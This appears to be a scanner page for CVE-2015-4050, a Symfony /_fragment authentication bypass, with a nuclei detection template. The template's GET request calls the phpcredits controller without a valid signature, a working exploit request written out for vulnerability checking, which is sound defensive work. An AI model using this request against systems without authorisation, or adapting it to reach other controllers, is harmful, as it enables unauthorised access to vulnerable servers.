Symfony - Authentication Bypass

mediumseverity

4.3CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.

How to confirm it

Send: GET {{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1
Positive when: contains "PHP Credits" AND status 200

Run it with nuclei: nuclei -id CVE-2015-4050 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4050

info:
  name: Symfony - Authentication Bypass
  author: ELSFA7110,meme-lord
  severity: medium
  description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Symfony.
  reference:
    - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://www.debian.org/security/2015/dsa-3276
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4050
    - http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-4050
    cwe-id: CWE-284
    epss-score: 0.08211
    epss-percentile: 0.94927
    cpe: cpe:2.3:a:sensiolabs:symfony:2.3.19:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve2015,cve,symfony,rce,sensiolabs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Credits"

      - type: status
        status:
          - 200

References

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